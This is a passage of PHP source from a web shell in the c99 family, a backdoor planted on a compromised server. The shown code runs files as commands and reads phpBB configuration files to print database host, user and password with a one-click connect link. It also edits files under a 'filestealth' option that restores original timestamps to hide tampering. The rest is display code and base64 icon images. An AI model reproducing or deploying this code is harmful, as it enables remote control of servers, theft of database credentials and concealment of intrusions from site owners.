2097 <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>] </nobr>
2098 <P>";
2099 }
2100 elseif ($ft == "html") {
2101 if ($white) {@ob_clean();}
2102 echo $r;
2103 if ($white) {dQ99shexit();}
2104 }
2105 elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
2106 elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}
2107 elseif ($ft == "phpsess") {
2108 echo "<pre>";
2109 $v = explode("|",$r);
2110 echo $v[0]."<br>";
2111 var_dump(unserialize($v[1]));
2112 echo "</pre>";
2113 }
2114 elseif ($ft == "exe") {
2115 $ext = explode(".",$f);
2116 $c = count($ext)-1;
2117 $ext = $ext[$c];
2118 $ext = strtolower($ext);
2119 $rft = "";
2120 foreach($exeftypes as $k=>$v)
2121 {
2122 if (in_array($ext,$v)) {$rft = $k; break;}
2123 }
2124 $cmd = str_replace("%f%",$f,$rft);
2125 echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";
2126 }
2127 elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
2128 elseif ($ft == "code") {
2129 if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) {
2130 $arr = explode("\n",$r);
2131 if (count($arr == 18)) {
2132 include($d.$f);
2133 echo "<b>phpBB configuration is detected in this file!<br>";
2134 if ($dbms == "mysql4") {$dbms = "mysql";}
2135 if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
2136 else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by ".$sh_name.". Please, report us for fix.";}
2137 echo "Parameters for manual connect:<br>";
2138 $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
2139 foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
2140 echo "</b><hr size=\"1\" noshade>";
2141 }
2142 }
2143 echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
2144 if (!empty($white)) {@ob_clean();}
2145 highlight_file($d.$f);
2146 if (!empty($white)) {dQ99shexit();}
2147 echo "</div>";
2148 }
2149 elseif ($ft == "download") {
2150 @ob_clean();
2151 header("Content-type: application/octet-stream");
2152 header("Content-length: ".filesize($d.$f));
2153 header("Content-disposition: attachment; filename=\"".$f."\";");
2154 echo $r;
2155 exit;
2156 }
2157 elseif ($ft == "notepad") {
2158 @ob_clean();
2159 header("Content-type: text/plain");
2160 header("Content-disposition: attachment; filename=\"".$f.".txt\";");
2161 echo($r);
2162 exit;
2163 }
2164 elseif ($ft == "img") {
2165 $inf = getimagesize($d.$f);
2166 if (!$white) {
2167 if (empty($imgsize)) {$imgsize = 20;}
2168 $width = $inf[0]/100*$imgsize;
2169 $height = $inf[1]/100*$imgsize;
2170 echo "<center><b>Size:</b> ";
2171 $sizes = array("100","50","20");
2172 foreach ($sizes as $v) {
2173 echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
2174 if ($imgsize != $v ) {echo $v;}
2175 else {echo "<u>".$v."</u>";}
2176 echo "</a> ";
2177 }
2178 echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
2179 }
2180 else {
2181 @ob_clean();
2182 $ext = explode($f,".");
2183 $ext = $ext[count($ext)-1];
2184 header("Content-type: ".$inf["mime"]);
2185 readfile($d.$f);
2186 exit;
2187 }
2188 }
2189 elseif ($ft == "edit") {
2190 if (!empty($submit))
2191 {
2192 if ($filestealth) {$stat = stat($d.$f);}
2193 $fp = fopen($d.$f,"w");
2194 if (!$fp) {echo "<b>Can't write to file!</b>";}
2195 else
2196 {
2197 echo "<b>Saved!</b>";
2198 fwrite($fp,$edit_text);
2199 fclose($fp);
2200 if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
2201 $r = $edit_text;
2202 }
2203 }
2204 $rows = count(explode("\r\n",$r));
2205 if ($rows < 10) {$rows = 10;}
2206 if ($rows > 30) {$rows = 30;}
2207 echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\"> <input type=\"reset\" value=\"Reset\"> <input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
2208 }
2209 elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
2210 else {echo "<center><b>Unknown file type (".$ext."), please select type manually.</b></center>";}
2211}
2212echo "</div>\n";
2213}
2214}
2215else {
2216@ob_clean();
2217$images = array(
2218"arrow_ltr"=>
2219"R0lGODlhJgAWAIABAP///wAAACH5BAHoAwEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ".
2220"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
2221"back"=>
2222"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
2223"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
2224"Wg0JADs=",
2225"buffer"=>
2226"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
2227"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGdQChg+xhnRB+ptLOhai1crEmD".
2228"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
2229"change"=>
2230"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
2231"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
2232"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
2233"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
2234"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
2235"zMshADs=",
2236"delete"=>
2237"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1dQ19cwXOfDw8Kenp/n5+etgeunp".
2238"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9dQ7djcscSM93d3ZGRkeEsTevd4LCw".
2239"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
2240"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
2241"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
2242"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2243"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
2244"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
2245"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
2246"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
2247"jwVFHBgiEGQFIgQasYkcSbJQIAA7",
2248"download"=>
2249"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
2250"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
2251"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
2252"forward"=>
2253"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
2254"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
2255"WqsJADs=",
2256"home"=>
2257"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
2258"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
2259"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
2260"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
2261"mode"=>
2262"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9dQ////wAAAAAAAAAAAAAAAAAAAAAA".
2263"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
2264"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
2265"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
2266"search"=>
2267"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9dQ01NTSkpKQQEBP//".
2268"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
2269"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
2270"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
2271"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
2272"setup"=>
2273"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9dQ01NTUJC".
2274"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
2275"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
2276"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
2277"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
2278"small_dir"=>
2279"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
2280"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
2281"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
2282"small_unk"=>
2283"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
2284"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
2285"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++dQ/e72/vH3/vL4/u31".
2286"/e31/uDu/dzr/Orz/eHu/dQ6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4".
2287"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".
2288"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".
2289"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ".
2290"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".
2291"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2292"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2293"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2294"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2295"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2296"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2297"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".
2298"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".
2299"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
2300"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
2301"yAsokBkQADs=",
2302"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
2303"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
2304"sort_asc"=>
2305"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
2306"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
2307"sort_desc"=>
2308"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
2309"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
2310"sql_button_drop"=>
2311"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
2312"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2313"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
2314"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
2315"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
2316"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
2317"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
2318"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
2319"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
2320"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
2321"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
2322"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
2323"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
2324"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA".
2325"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5dQ4MSKv1BgRGGMo0iJFC2ehHjSoMt/".
2326"AQEAOw==",
2327"sql_button_empty"=>
2328"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
2329"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2330"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
2331"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
2332"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
2333"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
2334"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
2335"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
2336"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
2337"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
2338"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
2339"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
2340"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
2341"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA".
2342"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
2343"sql_button_insert"=>
2344"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
2345"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2346"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
2347"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
2348"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
2349"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
2350"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
2351"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
2352"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
2353"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
2354"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
2355"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
2356"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
2357"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA".
2358"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
2359"up"=>
2360"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".
2361"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
2362"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwdQtop4p53PwLKOjvvV".
2363"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
2364"write"=>
2365"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9dQwQEBP///wAAAAAAAAAAAAAAAAAA".
2366"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
2367"EQYQLUAsGgM0Wwt3bCJfQSdQ10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
2368"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
2369"ext_asp"=>
2370"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
2371"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
2372"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
2373"ext_mp3"=>
2374"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
2375"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
2376"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
2377"ext_avi"=>
2378"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".
2379"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4".
2380"PYXCyg+V2i44XeRmSfYqsGhAAgA7",
2381"ext_cgi"=>
2382"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9".
2383"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6".
2384"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S".
2385"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ".
2386"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2387"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2388"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2389"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM".
2390"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD".
2391"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".
2392"RYtMAgEAOw==",
2393"ext_cmd"=>
2394"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
2395"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
2396"dmrYAMn1onq/YKpjvEgAADs=",
2397"ext_cpp"=>
2398"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
2399"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
2400"Eq7YrLDE7a4SADs=",
2401"ext_ini"=>
2402"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
2403"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
2404"SnEjgPVarHEHgrB43JvszsQEADs=",
2405"ext_diz"=>
2406"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".
2407"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".
2408"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".
2409"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7dQ08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".
2410"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX".
2411"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA".
